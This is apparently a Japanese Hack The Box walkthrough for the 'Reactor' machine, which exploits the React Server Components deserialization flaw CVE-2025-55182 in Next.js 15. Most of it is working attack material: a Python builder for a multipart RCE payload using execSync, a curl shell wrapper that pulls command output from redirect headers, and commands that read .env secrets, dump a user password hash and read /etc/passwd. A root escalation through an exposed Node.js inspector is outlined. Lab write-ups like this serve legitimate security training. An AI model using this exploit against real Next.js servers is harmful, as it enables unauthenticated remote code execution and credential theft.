
HTBのReactorマシンの完全なウォークスルー — CVE-2025-55182を悪用してシェルを取得し、露出したNode.jsデバッガー経由でrootを取得します。スクリーンショット付きのステップバイステップガイド。
[!CAUTION] ネタバレ注意。 これはフラグを含む完全なウォークスルーです。自分でこのマシンを解きたい場合は、今すぐ閉じて、詰まったときに戻ってきてください。
| Field | Details |
|---|---|
| 名前 | Reactor |
| OS | Ubuntu 24.04 LTS (Noble) |
| 難易度 | Medium |
| CVE | CVE-2025-55182 (CVSS 10.0) |
| ポート | 22 (SSH), 3000 (Next.js) |
| 作成者 | sonnycroco |
Reactor は、ReactorWatch と呼ばれる原子力発電所の監視ダッシュボードをテーマにしたマシンです。このマシンは2つの脆弱性を連鎖させることだけに焦点を当てており、推測も、寄り道も、ブルートフォースも一切不要です。
攻略ルートは次のとおりです。プレリリース版の React 19 ビルドが深刻なデシリアライゼーションの欠陥を露呈しており、単一の HTTP リクエストで認証なしのリモートコード実行が可能になります。そこから、root で実行されている Node.js デバッグポートに WebSocket メッセージを送るだけで、システム全体へのフルアクセスを獲得できます。
攻撃チェーン:
Unauthenticated HTTP POST
│
│ CVE-2025-55182 - React RSC multipart deserialization
▼
RCE as node (uid=999)
│
│ Root Node.js process with --inspect exposed on localhost
▼
CDP Runtime.evaluate -> RCE as root (uid=0)
│
├── user.txt ✓
└── root.txt ✓
新しいマシンではまず、何がリッスンしているかを調べるのが最初の仕事です。見逃しがないように、サービス検出付きのフルポートスキャンを実行します。
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open http Next.js 15.0.3

ポートは2つだけです。今の段階では資格情報がないため、SSHは行き止まりです。ターゲットはポート3000です。Nmap はすでに Next.js 15.0.3 であることを示しており、これは有力な手掛かりです。
何かにエクスプロイトを投げる前に、動作しているすべての正確なバージョンを把握したいところです。HTTPヘッダーはすでに Next.js を明らかにしていますが、重要なのは React のバージョンです。React 19 は長い間プレリリースのままで、安定版が公開されるまでにいくつかの深刻な問題を抱えていました。
クライアントサイドの JavaScript チャンクを取得して確認します:
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
| grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
19.0.0-rc-66855b96-20241106
バージョン文字列に含まれる rc が動かぬ証拠です。これは React 19 のリリース候補ビルドであり、安定版ではありません。CVE データベースは、CVE-2025-55182 がまさにこのビルドに影響することを裏付けています。CVSS 10.0 です。
ついでに、ミドルウェアの手掛かりがないかヘッダーを確認します:
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1
どこにも x-middleware-rewrite ヘッダーがありません。つまり Next.js ミドルウェアはインストールされていません。これにより CVE-2025-29927(ミドルウェアバイパス)は対象外です。時間を無駄にしないために覚えておく価値があります。
判明していること:
experimental.serverActions が有効な Next.js 15.0.319.0.0-rc
React 19 の Server Components は Server Actions を導入しました。これは、クライアントが Next-Action ヘッダー付きの HTTP POST で呼び出せるサーバーサイド関数です。これらのリクエストを処理する multipart ボディパーサーには重大な欠陥があり、$1:__proto__:then と呼ばれる参照型を安全でない方法でデシリアライズします。
_response._prefix を任意の JavaScript に設定する multipart ボディを細工することで、攻撃者はそのコードをサーバー上で評価させることができます。出力は、Next.js がリダイレクトに内部的に使用する例外(NEXT_REDIRECT)を通じて外部に持ち出され、最終的に x-action-redirect レスポンスヘッダー内に URL エンコードされた形で現れます。
どのページへの任意の POST でも、Next-Action ヘッダーがあればこの脆弱性が発動します。認証チェックも特別なエンドポイントもありません。ペイロードを / に送るだけで侵入完了です。
シェルコマンドを入力として受け取り、multipart ペイロードを構築して、curl が送信できるようにディスクに書き込む小さな Python ヘルパー:
# /tmp/make_rce.py
import sys
cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")
payload = (
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="0"\r\n\r\n'
+ ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
'"var res=process.mainModule.require(\'child_process\').execSync(\''
+ cmd_esc +
'\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
'{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
'"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
+ b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="1"\r\n\r\n'
b'"$@0"\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="2"\r\n\r\n'
b'[]\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
f.write(payload)
すべてをシェル関数にまとめて、擬似シェルのように使えるようにします:
rce() {
python3 /tmp/make_rce.py "$*" > /dev/null
curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary "@/tmp/rce_payload.bin" > /dev/null
grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
| python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}
生の HTTP やりとりです。コマンドの出力はリダイレクトヘッダーの中にそのまま現れています:
POST / HTTP/1.1
Host: 10.129.8.56:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
[... multipart body ...]
HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=999(node) gid=988(node) groups=988(node);push
rce "id"
# uid=999(node) gid=988(node) groups=988(node)
node サービスアカウントとして侵入しました。認証も、ブルートフォースも、ソーシャルエンジニアリングもありません。ただ1回の HTTP POST だけです。これが CVSS 10.0 の実戦での姿です。

[!WARNING] 先に進む前に知っておくべき2つのこと:
execSyncは同期処理で、レスポンスを処理するスレッドをブロックします。これを使ってリバースシェルを起動しようとしないでください。代わりに非同期のexec()を使わないとサーバーがハングします。NEXT_REDIRECTのテンプレートリテラルは改行で壊れます。複数行の出力は必ずpaste -sd,に通して1行に平坦化してから URL に含めてください。
node ユーザーとして探索コード実行を確立したので、次の目標は環境を把握することです。このマシンに何があるのか、どんな資格情報が転がっているのか、より高い権限のユーザーへの明白な経路がないかを調べます。
rce "cat /opt/reactor-app/.env | paste -sd,"
DB_PATH=/opt/reactor-app/reactor.db
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
NODE_ENV=production
ディスク上に SQLite データベースがあります。中身を確認します:
rce "sqlite3 /opt/reactor-app/reactor.db 'SELECT * FROM users' | paste -sd,"
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|[email protected]
MD5 ハッシュを持つ admin アカウントがあります。John に rockyou を指定してクラックを試みましたが、割れません。まあ、本当の権限昇格経路が見つかればハッシュクラックは不要になるので問題ありません。これは脇に置いて続行します。
rce "cat /etc/passwd | grep -v nologin | grep -v false | paste -sd,"
root:x:0:0:root:/root:/bin/bash
engineer:x:1000:1000:engineer:/home/engineer:/bin/bash
engineer というユーザーがいます。ユーザーフラグはこのユーザーのホームディレクトリにあります。